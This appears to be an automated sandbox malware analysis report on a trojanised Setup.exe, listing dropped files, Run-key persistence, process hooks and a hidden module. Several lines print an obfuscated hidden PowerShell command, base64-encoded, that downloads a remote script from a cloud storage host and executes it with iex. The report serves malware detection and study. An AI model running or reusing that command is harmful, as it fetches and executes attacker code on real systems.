Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-x64-cygwin-sans-NAS\jdk8u381\237\build\windows-x64\jdk\objs\javaw_objs\javaw.pdb source: Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmp, Setup.exe, 00000007.00000000.2964764533.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmp, Setup.exe, 0000000B.00000000.3170750084.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: pOweRshELl -w hIdDeN "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vc2FuZGlzazIub3NzLWFwLW5vcnRoZWFzdC0yLmFsaXl1bmNzLmNvbS9iVUFtQ2F6Yy50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=')) \| iex"$global:?
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vc2FuZGlzazIub3NzLWFwLW5vcnRoZWFzdC0yLmFsaXl1bmNzLmNvbS9iVUFtQ2F6Yy50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=')) \| iex@{# Script module or binary module file a

Suspicious powershell command line found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hIdDeN "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vc2FuZGlzazIub3NzLWFwLW5vcnRoZWFzdC0yLmFsaXl1bmNzLmNvbS9iVUFtQ2F6Yy50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=')) \| iex"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hIdDeN "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vc2FuZGlzazIub3NzLWFwLW5vcnRoZWFzdC0yLmFsaXl1bmNzLmNvbS9iVUFtQ2F6Yy50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=')) \| iex"			Jump to behavior

Source: NAudio.dll.3.dr

Static PE information: 0xCC972473 [Sat Oct 8 12:22:11 2078 UTC]

Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe

Code function: 6_2_00401CB0 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,OutputDebugStringA,__iob_func,fprintf,

6_2_00401CB0

Source: initial sample

Static PE information: section where entry point is pointing to: _COF2

Source: Setup.exe.3.dr

Static PE information: real checksum: 0x7592 should be: 0x73ad

Source: python27.dll.3.dr	Static PE information: section name: _COF0
Source: python27.dll.3.dr	Static PE information: section name: _COF1
Source: python27.dll.3.dr	Static PE information: section name: _COF2
Source: ffmpeg.dll.3.dr	Static PE information: section name: .gxfg
Source: ffmpeg.dll.3.dr	Static PE information: section name: .retplne
Source: ffmpeg.dll.3.dr	Static PE information: section name: _RDATA
Source: Resource.ct.3.dr	Static PE information: section name: .gxfg
Source: Resource.ct.3.dr	Static PE information: section name: .retplne
Source: Resource.ct.3.dr	Static PE information: section name: .voltbl
Source: Resource.ct.3.dr	Static PE information: section name: CPADinfo
Source: Resource.ct.3.dr	Static PE information: section name: LZMADEC
Source: Resource.ct.3.dr	Static PE information: section name: _RDATA
Source: Resource.ct.3.dr	Static PE information: section name: malloc_h

Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Code function: 6_2_00402F71 push ecx; ret	6_2_00402F84
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Code function: 10_2_00402F71 push ecx; ret	10_2_00402F84
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 14_3_007F4FBF push eax; retf 007Dh	14_3_007F4FE1
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 14_3_007F51E8 push A0007F50h; retf	14_3_007F51ED
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 14_3_007F5425 push eax; retf	14_3_007F542D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 14_3_007FB230 push ds; retf	14_3_007FB272
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 14_3_007FB2B7 push ds; retn 006Ch	14_3_007FB2BA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 16_2_00E83941 push ss; ret	16_2_00E83942
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 16_2_00E83943 push ss; ret	16_2_00E8394A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 16_2_00E83920 push ss; ret	16_2_00E83922
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 16_2_00E83923 push ss; ret	16_2_00E8392A

Source: msvcr90.dll.3.dr

Static PE information: section name: .text entropy: 6.9217598022130655

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\FeGIPCnK\RcClientBase.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\FeGIPCnK\Data\Updater.ex	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\FeGIPCnK\NAudio.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\FeGIPCnK\UpdateCommon.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	File created: C:\Users\user\AppData\Roaming\Driver\msvcr90.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\FeGIPCnK\Data\ffmpeg.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	File created: C:\Users\user\AppData\Roaming\Driver\python27.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	File created: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\FeGIPCnK\UpdateClient.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\FeGIPCnK\Data\d3dcompiler_47.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\FeGIPCnK\Resource.ct	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\FeGIPCnK\config.prx	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\FeGIPCnK\msvcr90.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\FeGIPCnK\python27.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	File created: C:\Users\user\AppData\Local\Temp\nmovbfii	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\FeGIPCnK\Resource.ct	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\FeGIPCnK\Data\Updater.ex	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\FeGIPCnK\config.prx	Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	File created: C:\Users\user\AppData\Local\Temp\nmovbfii	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run NetUtilityApp			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run NetUtilityApp			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Found hidden mapped module (file has been removed from disk)

Source: C:\Windows\SysWOW64\more.com

Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\NMOVBFII

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 7784 base: 1F60005 value: E9 8B 2F F9 74	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 7784 base: 76EF2F90 value: E9 7A D0 06 8B	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 7784 base: 1F70005 value: E9 2B BA F4 74	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 7784 base: 76EBBA30 value: E9 DA 45 0B 8B	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 7784 base: 1F80008 value: E9 8B 8E F8 74	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 7784 base: 76F08E90 value: E9 80 71 07 8B	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 7784 base: 20C0005 value: E9 8B 4D 9B 73	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 7784 base: 75A74D90 value: E9 7A B2 64 8C	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 7784 base: 20D0005 value: E9 EB EB 9B 73	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 7784 base: 75A8EBF0 value: E9 1A 14 64 8C	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 7784 base: 20E0005 value: E9 8B 8A D7 73	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 7784 base: 75E58A90 value: E9 7A 75 28 8C	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 7784 base: 20F0005 value: E9 2B 02 D9 73	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 7784 base: 75E80230 value: E9 DA FD 26 8C	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 2820 base: 490005 value: E9 8B 2F A6 76	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 2820 base: 76EF2F90 value: E9 7A D0 59 89	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 2820 base: 4A0005 value: E9 2B BA A1 76	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 2820 base: 76EBBA30 value: E9 DA 45 5E 89	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 2820 base: 500008 value: E9 8B 8E A0 76	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 2820 base: 76F08E90 value: E9 80 71 5F 89	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 2820 base: 6F0005 value: E9 8B 4D 38 75	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 2820 base: 75A74D90 value: E9 7A B2 C7 8A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 2820 base: 700005 value: E9 EB EB 38 75	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 2820 base: 75A8EBF0 value: E9 1A 14 C7 8A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 2820 base: 710005 value: E9 8B 8A 74 75	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 2820 base: 75E58A90 value: E9 7A 75 8B 8A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 2820 base: 720005 value: E9 2B 02 76 75	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 2820 base: 75E80230 value: E9 DA FD 89 8A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 3724 base: 470005 value: E9 8B 2F A8 76	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 3724 base: 76EF2F90 value: E9 7A D0 57 89	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 3724 base: 1E80005 value: E9 2B BA 03 75	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 3724 base: 76EBBA30 value: E9 DA 45 FC 8A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 3724 base: 1E90008 value: E9 8B 8E 07 75	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 3724 base: 76F08E90 value: E9 80 71 F8 8A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 3724 base: 1EB0005 value: E9 8B 4D BC 73	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 3724 base: 75A74D90 value: E9 7A B2 43 8C	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 3724 base: 20D0005 value: E9 EB EB 9B 73	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 3724 base: 75A8EBF0 value: E9 1A 14 64 8C	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 3724 base: 20E0005 value: E9 8B 8A D7 73	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 3724 base: 75E58A90 value: E9 7A 75 28 8C	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 3724 base: 2200005 value: E9 2B 02 C8 73	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Memory written: PID: 3724 base: 75E80230 value: E9 DA FD 37 8C	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
